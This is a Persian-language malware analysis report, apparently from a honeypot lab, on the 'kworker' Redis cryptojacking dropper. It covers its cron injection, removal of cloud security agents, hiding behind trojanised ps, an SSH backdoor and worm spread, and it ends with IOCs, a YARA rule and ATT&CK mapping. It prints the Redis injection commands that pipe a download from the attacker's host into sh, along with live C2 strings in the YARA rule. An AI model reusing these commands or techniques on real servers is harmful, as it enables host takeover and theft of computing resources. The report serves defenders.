malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm

Kworker: ماینری که حذف‌کنندهٔ خود را همراه می‌آورد

‏Kinryū Labs یک ماینر بدافزاری از تبار 8220 را در حال تبدیل یک پورت Redis باز و بدون رمز عبور به یک پوستهٔ root در حدود پنج ثانیه به دام انداخت. دراپر، یک اسکریپت پوسته 636 خطی به نام kworker، عامل‌های امنیت ابری Alibaba و Tencent را با ابزارهای خود فروشندگان حذف می‌کند، 200 خط را صرف کشتن ماینرهای رقیب می‌کند، در SSH درِ پشتی می‌کارد، یک ماینر مونرو XMRig را پشت ps، top و pstree جعلی پنهان می‌کند، و می‌کوشد دورتر منتشر شود.

نوشتهٔ Davis Zheng·

TLP:CLEAR. برای انتشار عمومی تأیید شد. توسط شبکهٔ حسگرهای هانی‌پات Kinryū Labs در 10 ژوئن 2026 ضبط شد. تنها تحلیل ایستا و منفعل: دراپر هرگز اجرا نشد و با هیچ زیرساخت مهاجمی تماس برقرار نگشت. نشانگرهای زیر خنثی‌شده‌اند (defanged)؛ قاعدهٔ YARA طبق طراحی رشته‌های زنده را حمل می‌کند، برای شناسایی. باینری ماینر مرحلهٔ ۲ و کیف‌پول مونرو را بازیابی نکردیم.

خلاصهٔ مدیریتی

  • ~5ثاز پورت Redis باز تا چهار درِ پشتی root در cron
  • 636خط bash، یک کیت کامل تصاحب میزبان
  • 2حذف‌کنندهٔ فروشنده که با base64 درون آن حمل می‌شود
  • 80+ماینر رقیب در فهرست کشتار

شش دقیقه پس از نیمه‌شب به وقت UTC، چیزی یک اتصال به پورت Redis روی یکی از هانی‌پات‌های ما باز کرد، یک INFO تکی اجرا کرد تا ببیند با چه چیزی حرف می‌زند، و قطع کرد. دو ثانیه بعد بازگشت و به کار افتاد. تا زمانی که قطع کرد، در مجموع پنج ثانیه، جدول cron سرور را به چهار شیوهٔ متفاوت بازنویسی کرده و هر یک را به همان فایل نشانه رفته بود: یک اسکریپت پوسته به نام kworker.

هرگز نگذاشتیم اجرا شود. هانی‌پات محموله را می‌گیرد، برایش درهم (hash) می‌سازد، و کنار می‌گذارد؛ خودِ ماشین پاک می‌ماند. پس آنچه برایمان می‌ماند اسکریپت به‌طور کامل است، تمام 636 خط، و ضبطی کامل از نفوذ. خوانده‌شده در کنار هم، یک مقطع تمیز از جایی که ماینینگ بدافزاری مرسومِ Linux در 2026 رسیده می‌سازند، و kworker نمونهٔ خوبی است، چون تقریباً هر کاری را که این ژانر تا کنون اختراع کرده انجام می‌دهد. همچنین یک کار را با چهره‌ای کاملاً جدی انجام می‌دهد: آنتی‌ویروس شما را با حذف‌کنندهٔ خودِ فروشندهٔ آنتی‌ویروس حذف می‌کند.

داوری‌های کلیدی

  • ماینینگ بدافزاری مرسوم از تبار 8220 Gang / kworkerds، فرصت‌طلبانه و غیرهدفمند (اطمینان متوسط). تحویل از طریق Redis، ابزارهای دانلودِ تغییرنام‌یافته، فایل قفل /etc/javae، و فهرست کشتار عظیم، همگی نشانه‌های این خانواده‌اند. در متوسط می‌مانیم، و نه بالاتر، چون این کدی است که به‌گستردگی فورک (forked) شده و تیم‌ها آن را دست‌به‌دست و بازفروشی می‌کنند، پس نام به یک تبار اشاره دارد، نه به یک نویسندهٔ یگانه.
  • هدف ماینینگ مونرو است (اطمینان بالا). کل هدف اسکریپت آوردن و راه‌اندازی javae، یک ساخت XMRig، پس از فعال کردن huge pages برای آن است. هر چیز دیگر برای پاک کردن میدان و نگه داشتن میزبان وجود دارد.
  • نرم‌افزاری بالغ و پُرکاربرد، نه پروژهٔ آخر هفتهٔ کسی (اطمینان بالا). خطوط cronِ خودِ نفوذ cd1 و wd1 را فرا می‌خوانند، ابزارهایی که تنها پس از نصب kworker وجود دارند. کیت پیشاپیش خود را مفروض می‌گیرد، و این نشانهٔ کدی است که مدتی در گردش بوده.
  • کیف‌پول غایب عمدی است (اطمینان بالا). اسکریپت نه نشانی مونرو دارد و نه استخری؛ هر دو در باینری ماینر زندگی می‌کنند، که بازیابی نکردیم. تنها جزئیاتی که کارزارهای این تیم را به هم گره می‌زد دقیقاً همان است که بیرون از اسکریپت نگه می‌دارند، همان دیواری که در RedTail به آن خوردیم.

FLUSHALL، سپس چهار راه به cron

‏Redis که بدون رمز عبور رو به اینترنت رها شود سال‌هاست یک پوستهٔ root تک‌خطی بوده، و فن اینجا همان قدیمیِ مطمئن است. یک کلید پایگاه‌داده تنظیم کن که مقدارش یک کار cron باشد. به Redis بگو پایگاه‌داده‌اش را در پوشهٔ cron ذخیره کند. SAVE را فراخوان. Redis پایگاه‌داده‌اش را روی دیسک می‌نویسد، از جمله کار cron جعلی تو، و یک دقیقه بعد cron آن را به‌عنوان root اجرا می‌کند. بازدیدکنندهٔ ما از سرور اثرانگشت گرفت، بررسی کرد که می‌تواند فایلی بنویسد، ایمنی‌ای را که ذخیرهٔ ناموفق را متوقف می‌کند خاموش کرد، و ترفند را اجرا نمود.

# آنچه بازدیدکننده به Redis فرستاد (خلاصه‌شده، خنثی‌شده)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE

کل تهاجم در مشتی ثانیه جا می‌گیرد:

  • 00:06:00 UTCاتصال، فرستادن یک INFO تکی برای اثرانگشت‌گیری از سرور، قطع اتصال.
  • +2 ثانیهاتصال مجدد. تنظیم چهار کلید، هر یک حاوی یک خط cron. CONFIG SET dir به پوشهٔ cron، CONFIG SET dbfilename به فایل cron هدف، غیرفعال‌سازی stop-writes-on-bgsave-error، سپس SAVE.
  • +در مجموع 5 ثانیهقطع اتصال. هانی‌پات محمولهٔ کامل و ضبط کامل را دارد؛ ماشین پاک می‌ماند.
  • +1 دقیقهروی یک میزبان واقعی، cron خط کاشته‌شده را به‌عنوان root اجرا می‌کند و kworker را می‌کشد.

آنچه ارزش کند کردن دارد افزونگی است. یک کار cron ننوشت؛ همان دستور را در چهار جا نوشت، /var/spool/cron/root، /var/spool/cron/crontabs، /etc/cron.d/javae و /etc/crontab، که هم چیدمان Red Hat و هم Debian و هم هر دو نحو cron را پوشش می‌دهد. هر خط kworker را با ابزاری متفاوت می‌کشید، cd1، wget، curl، wd1، در زمان‌بندی پلکانیِ دو، سه، چهار، پنج دقیقه. دو تا از آن نام‌ها برنامه‌های واقعی نیستند. cd1 و wd1 همان چیزی‌اند که kworker پس از نصب، نام curl و wget را به آن تغییر می‌دهد. نفوذ پیشاپیش اسکریپتی را که قرار است دانلود کند مفروض می‌گیرد. کل کیت از درون سازگار است، و از همین‌جاست که می‌فهمی نرم‌افزاری بالغ و پُرکاربرد است، نه پروژهٔ آخر هفتهٔ کسی.

حذف‌کنندهٔ خودت را بیاور

لحظه‌ای که root را به دست می‌آورد، kworker شروع به اوراق کردن ساختمان می‌کند. دیوار آتش پاک می‌شود، ufw خاموش می‌شود، SELinux به permissive پایین می‌آید و سپس در پیکربندی‌اش غیرفعال می‌گردد، AppArmor متوقف می‌شود، NMI watchdog هسته خاموش می‌شود، که اهمیت دارد چون یک ماینر CPU را هفته‌ها روی صد درصد میخکوب می‌کند و watchdog یکی از معدود چیزهایی است که ممکن است متوجه شود. /var/log/syslog یکسره حذف می‌شود.

سپس به جست‌وجوی عامل‌های امنیت ابری می‌رود، و اینجاست که اسکریپت از عادی بودن دست می‌کشد. ارائه‌دهندگان بزرگ ابر چینی یک عامل میزبان روی ماشین‌های مجازی‌شان قرار می‌دهند: Aegis از Alibaba، که آن را در حال اجرا با نام AliYunDun خواهی دید؛ YunJing از Tencent؛ HostGuard از Huawei. kworker هر یک را بررسی می‌کند. آنجا که عامل Alibaba را می‌یابد، فقط فرایند را نمی‌کشد. حذف‌کنندهٔ رسمی Alibaba را اجرا می‌کند، و برای اطمینان از کارکرد آن حتی روی ماشینی بدون مسیر بازگشت به Alibaba، دو اسکریپت حذف Alibaba را با کدگذاری base64 درون خود حمل می‌کند. هر دو را رمزگشایی کردیم. اصلِ واقعی‌اند، با تمام برچیدن ردیابی kprobe و باقی چیزها.

حفاظت نقطهٔ پایانی شما را پاکیزه برمی‌دارد، درست همان‌طور که فروشنده در نظر داشت، و لاگ‌ها را مرتب باقی می‌گذارد.

این بداهه‌پردازی نیست. کسی مقابل یک ماشین Aliyun واقعی نشست، حذف‌کننده‌ها را بیرون کشید، و آن‌ها را درون آن ساخت.

جنگ قلمرو، نوشته‌شده با bash

اگر هرگز یکی از این اسکریپت‌ها را نخوانده‌ای، آنچه شگفت‌زده‌ات می‌کند این است که چه مقدار از آن به مجرمان دیگر نشانه رفته است. دشمن واقعی یک ماینر، ماینر بعدی است که می‌کوشد همان CPU را اجاره کند، نه مدیر سیستم. kworker حدود دویست خط را صرف شکار رقبا می‌کند، و با هر دستگیره‌ای که بتواند بگیرد می‌کشد.

  • با نام فرایند، از یک فهرست مسدودسازی با بیش از صد مورد: xmrig، kinsing، kdevtmpfsi، خانوادهٔ watchdogs و watchbog، ddg، sustes، و kworkerds کهن‌تر که نام خودش از آن می‌آید.
  • با پورت، آن‌هایی که استخرهای ماینینگ و بات‌های IRC روی‌شان می‌نشینند.
  • با نشانی IP کدگذاری‌شدهٔ ثابت.
  • با CPU، ابزار کُند: هر چیزی که بیش از 40 درصد پردازنده را زیر نامی که نمی‌شناسد بسوزاند کشته می‌شود، با این منطق که فرایندی ناشناس که CPU را می‌خورد، بنا به تعریف، یک ماینر رقیب است.

فایل‌های آن‌ها را از /tmp و /dev/shm حذف می‌کند، کارهای cronشان را می‌چیند، روت‌کیت‌های preload را که برخی نصب می‌کنند برمی‌دارد، و دست در Docker می‌برد تا ایمیج‌های ماینینگ شناخته‌شده را بکشد و حذف کند. این همان قبضهٔ زمینی است که در اسکریپت clean در RedTail و در killservice.sh در Rootpacket مستند کردیم؛ همهٔ این تیم‌ها بر سرِ همان ماشین‌های بدپیکربندی می‌جنگند، و همه با یک جاروب کردن میدان آغاز می‌کنند.

همچنین، به‌طور مشخص و مکرر، با TeamTNT بی‌ادب است: تغییرنام‌های curl و wget را که TeamTNT انجام می‌دهد خنثی می‌کند و دایرکتوری‌هایش را پاک می‌کند. آنجا که Kinsing را می‌کشد فایل را با واژهٔ fuckyou رونویسی می‌کند و قفلش می‌کند تا Kinsing نتواند خود را بازگرداند. اینجا شرافتی نیست، فقط قبضهٔ زمین، و kworker آن را سخت‌تر از بیشترِها بازی می‌کند.

فهرست را با دقت بخوان و به فهرستی از شیوه‌های پنهان شدن رقابت بدل می‌شود. یک خوشه از اهداف خود را در قالب رشته‌های هسته جا می‌زند، kacpi_svc، kswap_svc، kthreadd_svc، ksoftirqd_svc؛ دیگری خود را در قالب دیمن‌های سیستم جا می‌زند، polkitd، acpid، dbus-daemon--system، و systemctI با I بزرگ جایی که باید L باشد. kworker دقیقاً همان نقاب‌هایی را شکار می‌کند که رقبایش می‌پوشند، همان نقاب‌هایی که خودش چند خط بعد به آن‌ها دست می‌برد وقتی javae را میان نام‌هایی مانند systemd-network و irqbalanced پنهان می‌کند. همه در این نبرد در جامهٔ سروصدای کسل‌کنندهٔ سیستم‌اند، و همه جامهٔ همه را از بر کرده‌اند.

چند هدف اصلاً نام نیستند. یکی L2Jpbi9iYXN است، base64 آغازین یک دستور /bin/bash. kworker در جدول فرایندها به دنبال آن پیشوند کدگذاری‌شده grep می‌کند، و بارگذار یک رقیب را از روی بلوک base64 نشسته در خط فرمانش به دام می‌اندازد.

کل فهرست بلند است، بیش از صد راه برای نام‌گذاری فرایندی که می‌خواهی مرده باشد، و یک بار مرور کردنش ارزش دارد، اگر فقط برای بافتِ این دشمنی باشد:

فهرست کامل کشتار، استخراج‌شده از اسکریپت ضبط‌شده

از kill_miner_proc، kill_sus_proc و جاروب Docker برداشته شده. هر چه اینجاست هدفی است که kworker شکار می‌کند، نه زیرساخت خودش. نشانی‌های IP خنثی‌شده‌اند.

پورت‌هایی که روی آن‌ها هر فرایندی را می‌کشد (استخرهای ماینینگ، بات‌های IRC، RATها، SSH و Telnet جایگزین): 23، 143، 2222، 3333، 3347، 3389، 5555، 6665، 6666، 6667، 7777، 8444، 10008، 13531.

خانواده‌های شناختنی ماینر و بات‌نت: xmrig، xmrig-cpu، xmrig-notls، xmr-stak، mstxmr، cnrig، minerd، minergate، cryptonight، crypto-pool، moneroocean، kinsing، kdevtmpfsi، kworkerds، kworker34، watchdogs، watchd0g، watchbog، ddg، ddg.2011، sustes، sustse، sustse3، kthrotlds، ksoftirqds، tntrecht (TeamTNT)، nanoWatch، sourplum، disk_genius، biosetjenkins، nullcrew.

رقبای پنهان‌شده در قالب رشته‌های هسته: kacpi_svc، kswap_svc، kauditd_svc، kpsmoused_svc، kseriod_svc، kthreadd_svc، ksoftirqd_svc، kintegrityd_svc، kblockd_svc، native_svc.

رقبای پنهان‌شده در قالب دیمن‌های سیستم: polkitd، acpid، dbus-daemon--system، irqbalance، irqbalanc1، crond64، nginxk، vmlinuz، systemctI (i بزرگ، نه systemctlsystemten، systemxlv، svcupdate، netdns، netns، redis2، rsync، httpgd، haveged، voltuned، nqscheduler.

محموله‌ها، اسکریپت‌ها و نشانگرهای کارزارِ نام‌دار دیگر: apaceha، apachiii، mixnerdx، mixtape، performedl، conns، mgwsl، pythno، jweri، lx26، i586، gddr، askdljlqw، ysaydh، bonns، donns، kxjd، nopxi، deamon، zigw، devtool، devtools، suppoie، exin، xr، jawa، ynn، servim، darwin، sysstats، Loopback، XJnRj، NXLAi، BI5zj، icb5o، wnTKYg، 2t3ik، qW3xT.2، hahwNEdB، CnzFVPLF، CvKzzZLs، OIcJi1m، IOFoqIgyC0zmf2UR، 65ccEJ7، jmxx، 2Ne80nA، C4iLM4L، Guard.sh، Duck.sh، bonn.sh، conn.sh، kw.sh، pro.sh، mr.sh، 2mr.sh، cr5.sh، he.sh، miner.sh، l.sh، z3.sh، lower.sh، ndt.sh، logo9.jpg، oracle.jpg، init10.cfg، init12.cfg، j2.conf، zer0day.ru، gitee.com.

راه‌اندازهای مبهم‌سازی‌شده و پیکربندی‌های رهاشده: ./ppp، ./vsp، ./jvs، ./pvv، ./vpp، ./pces، ./rspce، ./jiba، ./haveged، ./watchbog، ./servceaess و همزادهای غلط‌املایی‌اش، mwyumwdbpq.conf، honvbsasbf.conf، mqdsflm.cf، /wl.conf، wc.confz، به‌علاوهٔ نشانگر گهوارهٔ base64 L2Jpbi9iYXN (آغاز یک تک‌خطی /bin/bas...).

IPهای استخر و C2 رقبا که به‌محض دیدن به آن‌ها شلیک می‌کند: 45.76.122[.]92، 51.38.191[.]178، 51.15.56[.]161، 104.248.4[.]162، 89.35.39[.]78، 107.174.47[.]156، 107.174.47[.]181، 83.220.169[.]247، 51.38.203[.]146، 144.217.45[.]45، 176.31.6[.]16، 46.243.253[.]15، 200.68.17[.]196، 188.209.49[.]54، 181.214.87[.]241، 121.42.151[.]137.

ایمیج‌ها و کانتینرهای Docker که می‌کشد و حذف می‌کند: کانتینرهایی با نام‌های pocosow، gakeaws، azulu، auto، xmr، mine، slowhttp، bash.shell؛ ارجاع‌های ایمیج pocosow، gakeaws، buster-slim، hello-، azulu، registry، xmr، monero، mine، slowhttp.

و ابزار کُند: هر چیزی بالای 40 درصد CPU که با javae مطابقت نکند کشته می‌شود، و نیز هر چیزی بالای 10 درصد که نامش مانند یک رشتهٔ هسته در کروشه به نظر برسد، هر چیزی که از /tmp اجرا شود، و هر فرایندی با نامی به‌طور مشکوک بلند.

حالا آن را نمی‌بینی

پس از پاک کردن میدان، بازیکن خودش را پنهان می‌کند. ps، top و pstree را با پوشش‌های دوخطی جایگزین می‌کند که باینری‌های واقعی را فرا می‌خوانند و در سکوت هر خطی را که از ماینر (javae) یا اسکنری که حمل می‌کند (pnscan) نام ببرد فیلتر می‌کنند، سپس تاریخ جعلی‌ها را به 2016 عقب می‌برد تا نو به نظر نرسند. روی یک ماشین آلوده ps را اجرا کن و ماینر به‌سادگی در فهرست نیست.

ماینر به‌هرحال طوری نام‌گذاری شده که در جدول فرایندها محو شود: javae در کنار فایل‌های قفلی که با نام‌هایی مانند systemd-network، irqbalanced و kswaped کاشته شده‌اند می‌نشیند، که هر یک برگزیده شده تا چون سروصدای کسل‌کنندهٔ سیستم خوانده شود.

یک کلید، و راهی به همسایه‌ها

دو حرکت دیگر تصاحب را کامل می‌کنند.

کلید عمومی SSH گردانندهٔ بدافزار را، که توضیحش فقط uc1 است، در authorized_keys کاربر root می‌نویسد و فایل را تغییرناپذیر (immutable) می‌کند، چنان‌که متوجه شدنش کافی نیست؛ باید بیت تغییرناپذیری را پاک کنی تا حتی بتوانی حذفش کنی. این دسترسیِ دستی است که از پاک‌سازی ماینر جان به در می‌برد.

سپس می‌کوشد منتشر شود. known_hosts کاربر root را می‌خواند، فهرست هر ماشینی که این جعبه به آن وارد شده، و می‌کوشد با کلیدهایی که از پیش روی دیسک افتاده‌اند به هر یک از طریق SSH متصل شود، و روی هر چه راهش دهد یک تک‌خطی اجرا می‌کند که kworker را از نشانی پشتیبان می‌کشد و کل داستان را از نو آغاز می‌کند. کرم سریعی نیست و بر رها شدن کلیدهای بدون رمز عبور در اطراف تکیه دارد، اما روی آن نوع ناوگانی که معمولاً در آن رها می‌شوند، همین بس و بیش از بس است.

ماینر، و کیف‌پولی که به دست نیاوردیم

با همهٔ آن ماشین‌آلات، آنچه واقعاً درآمدزاست کسل‌کننده است: یک فایل دوم، javae، یک ساخت XMRig که مونرو ماین می‌کند. kworker huge pages را روشن می‌کند (vm.nr_hugepages روی 128 تنظیم می‌شود، یک شتاب‌دهی استاندارد XMRig)، javae را در /etc می‌اندازد، و اجرایش می‌کند.

اینجا شکاف این گزارش است. javae را نداریم، و کیف‌پول را نداریم. اسکریپت نه نشانی مونرو دارد و نه استخری؛ این‌ها در باینری ماینر پخته شده‌اند، که در زمان اجرا کشیده می‌شود، و C2 آن را به هیچ‌یک از جعبه‌شن‌های عمومی‌ای که این نمونه را دیده‌اند تحویل نداد، پس چیزی برای واکاوی منفعل نیست. هرکس kworker را به‌تنهایی تحلیل کند به همان دیوار می‌خورد. کیف‌پول تنها چیزی است که کارزارهای این تیم را به هم گره می‌زد، و دقیقاً همان است که بیرون از اسکریپت نگه می‌دارند.

میزبانی‌شده روی Cloudflare، عمداً

هم اسکریپت و هم ماینر از download.logltech[.]workers[.]dev، یک نشانی Cloudflare Workers، می‌آیند، و این انتخابی عمدی است. Workers رایگان است، به‌طور پیش‌فرض HTTPS است، اعتبار Cloudflare را قرض می‌گیرد پس از فهرست‌های مسدودسازی دامنه می‌گذرد، و هر مبدأیی (origin) را که گرداننده واقعاً کنترل می‌کند پنهان می‌سازد. هانی‌پات ما هرگز سرور واقعی ندید؛ همیشه فقط Cloudflare را دید.

کانال پشتیبان، که کرم استفاده می‌کند، tutorial.clashverge[.]space است، که اواخر فوریه ثبت شد. هر نشانی IP دیگرِ کدگذاری‌شدهٔ ثابت در اسکریپت به رقیبی تعلق دارد که او را مرده می‌خواهد، پراکنده روی ماشین‌های Vultr، OVH و DigitalOcean و یک میزبان Alibaba Cloud در هانگژو، و اصلاً نه به این گرداننده. نشانی‌های IP کدگذاری‌شدهٔ ثابت را به‌عنوان فهرست هدف بخوان، نه به‌عنوان زیرساخت.

مال کیست؟

با احتیاط، پس. این ماینینگ بدافزاری مرسوم از تباری است که معمولاً زیر 8220 Gang، یا kworkerds، بایگانی می‌شود. نشانه‌ها همه حاضرند: تحویل از طریق تزریق cron در Redis، تغییرنام curl به cd1، فایل قفل /etc/javae، منتشرکنندهٔ pnscan، فهرست کشتار عظیم. موتورهای آنتی‌ویروس بر سرِ یک نام به توافق نمی‌رسند، که خود نکته همین است. ClamAV آن را Rocke می‌نامد، Rising برچسب TeamTNT می‌زند، بقیه فقط می‌گویند CoinMiner. این اسکریپت‌ها میان نیم‌دوجین تیم رونوشت، ادغام و بازفروشی می‌شوند، و kworker چند خانواده‌ای را که با آن‌ها خویشاوند است می‌کشد.

قاعدهٔ سرانگشتی

خانواده را یک محله بدان، نه یک اثرانگشت.

تمرکز بر عامل‌های ابری چینی، و یک برادرِ Windows بر پایهٔ PowerShell که VirusTotal آن را به همان نمونه پیوند می‌دهد، تصویر را کامل می‌کنند، اما گزارهٔ امن، گزارهٔ فروتنانه است. به‌گستردگی فورک‌شده، با انگیزهٔ مالی، غیرهدفمند، و نه نو. اطمینان متوسط، و در همان‌جا راحت.

نشانگرهای نفوذ

شبکه

نشانگرزمینه
download.logltech[.]workers[.]devC2 (اصلی)، Cloudflare Workers. /up/down/api/{kworker, javae, cb.txt} را عرضه می‌کند
tutorial.clashverge[.]spaceC2 (پشتیبان)، توسط کرم استفاده می‌شود. در 27 فوریه 2026 ثبت شد
170.9.225[.]197نشانی IP مبدأ که به هانی‌پات Redis ضربه زد
میزبان *.workers.dev + GET زیر /up/down/api/الگوی کشیدن محموله که روی سیم ارزش نگاهی دقیق دارد

فایل‌ها (SHA-256 / MD5)

فایلSHA-256MD5
kworker (دراپر)7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30501ec2da3039ebe4ca379f663232176a
javae (ماینر XMRig)بازیابی‌نشده، مورد انتظار 5,685,096 بایت

کلید SSH درِ پشتی: توضیح uc1، اثرانگشت کلید عمومی SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. آن را در authorized_keys در سراسر ناوگان شکار کن.

آثار روی میزبان

مسیرزمینه
/etc/kworker، /etc/javae، /etc/cron.d/javae، /tmp/{kworker,javae}فایل‌های رهاشده
/usr/bin/cd1 (پیش‌تر curl/usr/bin/wd1 (پیش‌تر wget)ابزارهای دانلودِ تغییرنام‌یافته
/bin/ps.original، /bin/top.original، /bin/pstree.originalباینری‌های واقعیِ نگه‌داشته‌شده پشت پوشش‌های تروجانی‌شده
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network}فایل‌های قفلِ تغییرناپذیر با نام تک‌رقمی
vm.nr_hugepages = 128huge pages فعال‌شده برای XMRig

رفتاری

  • ps، top یا pstree که در واقع یک اسکریپت پوسته است که از طریق grep -v لوله می‌کند.
  • authorized_keys که تو ننوشتی، که به توضیح uc1 ختم می‌شود.
  • کارهای cron که sh /etc/kworker یا sh /tmp/kworker را اجرا می‌کنند، و /etc/cron.d/javae که نباید وجود داشته باشد.
  • فایل‌های تغییرناپذیر با نام تک‌رقمی در /usr/bin/kswaped و یارانش.
  • یک curl و wget که نامشان به cd1 و wd1 تغییر یافته.
  • vm.nr_hugepages که در سکوت روی 128 تنظیم شده.

شناسایی

نشانه‌های سمت میزبان به‌محض شناختن‌شان پرسروصدا هستند، و در بالا فهرست شده‌اند. روی سیم، هر چیزی که میزبان *.workers.dev را حل کند و مسیرهای زیر /up/down/api/ را بخواهد سزاوار نگاهی دقیق است. این یک قاعدهٔ YARA است که روی رشته‌های پایدار فعال می‌شود. رشته‌های زنده را عمداً حمل می‌کند، برای شناسایی.

rule kworker_cryptojacker_sh
{
    meta:
        description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
        author      = "Kinryu Labs honeypot CTI"
        reference   = "7420e819...776e30"  // full SHA-256 in the IOC table
        tlp         = "CLEAR"

    strings:
        $c2_1  = "download.logltech.workers.dev" ascii
        $c2_2  = "tutorial.clashverge.space" ascii
        $api   = "/up/down/api/kworker" ascii
        $lock  = "/etc/javae" ascii
        $miner = "miner_size=\"5685096\"" ascii
        $ren1  = "mv /usr/bin/curl /usr/bin/cd1" ascii
        $ren2  = "mv /usr/bin/wget /usr/bin/wd1" ascii
        $bin1  = "/usr/bin/pamdicks" ascii
        $bin2  = "/usr/bin/kswaped" ascii
        $bin3  = "/usr/bin/rctlcli" ascii
        $fn1   = "kill_miner_proc" ascii
        $fn2   = "download_file_if_needed" ascii
        $hide  = "javae\\|pnscan" ascii
        $ssh   = "9p8zIVKLUHMUNC9mKqPljzxH" ascii  // fragment of the uc1 key

    condition:
        filesize < 256KB and (
            $ssh or any of ($c2_1, $c2_2) or
            ($api and $lock) or
            ($miner and 1 of ($ren1, $ren2)) or
            (2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
        )
}

این باید چه چیزی را تغییر دهد

هیچ‌یک از این‌ها پیچیده نیست، و درس همین است. kworker وارد شد چون یک پورت Redis بدون رمز عبور باز بود، اشتباهی از 2018 که هنوز در 2026 سود می‌دهد. هر چه پس از آن، حذف EDR و روت‌کیت و کرم، فقط اهمیت یافت چون درِ ورودی قفل نبود.

  • ‏Redis را، یا هر انباره‌دادهٔ دیگری را، به اینترنت در معرض نگذار، و وادارش کن احراز هویت بخواهد. یک سرویس باز را همچون نفوذ به کل میزبان بدان، نه یک سرویس یگانه.
  • ‏cron و authorized_keys را همچون کد تولید بپای، چون برای یک مهاجم دقیقاً همان‌اند.
  • عامل ابری روی ماشین را شبکهٔ ایمنی نپندار. نخستین غریزهٔ kworker این بود که جلو برود و آن را حذف کند، مؤدبانه، با ابزارهای خودِ فروشنده.

نگاشت MITRE ATT&CK

تاکتیکتکنیک
Initial AccessT1190 Exploit Public-Facing Application (Redis)
ExecutionT1059.004 Unix Shell
PersistenceT1053.003 Cron; T1098.004 SSH Authorized Keys
Defense EvasionT1562.001 Impair Defenses: Disable or Modify Tools (حذف عامل ابری و EDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (‏ps/top/pstree تروجانی‌شده); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (جعلی‌های با تاریخ عقب‌برده)
DiscoveryT1057 Process Discovery (شکار رقبا); T1518.001 Security Software Discovery (عامل‌های ابری); T1046 Network Service Scanning (pnscan)
Lateral MovementT1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer
Command and ControlT1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer
ImpactT1496 Resource Hijacking (ماینینگ مونرو)

روش‌شناسی و یادداشت‌های تحلیلگر

  • تحلیل ایستا و منفعل بود. دراپر هرگز اجرا نشد و با هیچ زیرساخت مهاجمی تماس برقرار نگشت. یافته‌ها از خواندن کامل اسکریپت 636 خطیِ ضبط‌شده، رمزگشایی حذف‌کننده‌های base64 جاسازی‌شده، و بازبینی نشست ضبط‌شدهٔ Redis می‌آیند.
  • نشانگرهای بالا خنثی‌شده‌اند. قاعدهٔ YARA رشته‌های زنده را عمداً در بر دارد، برای شناسایی.
  • ماینر مرحلهٔ ۲ (javae) یا کیف‌پول مونرو را نداریم. اسکریپت هیچ‌کدام را حمل نمی‌کند؛ هر دو در باینری ماینر زندگی می‌کنند، که در زمان اجرا کشیده می‌شود و C2 آن را به جعبه‌شن‌های عمومی تحویل نداد. بازیابی کیف‌پول مستلزم یک انفجار زنده با ضبط شبکه بود، که انجام ندادیم.
  • نمونه‌ها (دراپر و حذف‌کننده‌های رمزگشایی‌شده) به‌درخواست در اختیار دیگر پژوهشگران و مدافعان قرار می‌گیرند. به [email protected] با یادداشتی کوتاه دربارهٔ اینکه که هستید و چرا به آن‌ها نیاز دارید ایمیل بزنید.
How to cite
Kinryū Labs (2026). Kworker: ماینری که حذف‌کنندهٔ خود را همراه می‌آورد. https://kinryu.sh/fa/reports/kworker-redis-cryptojacking-dropper/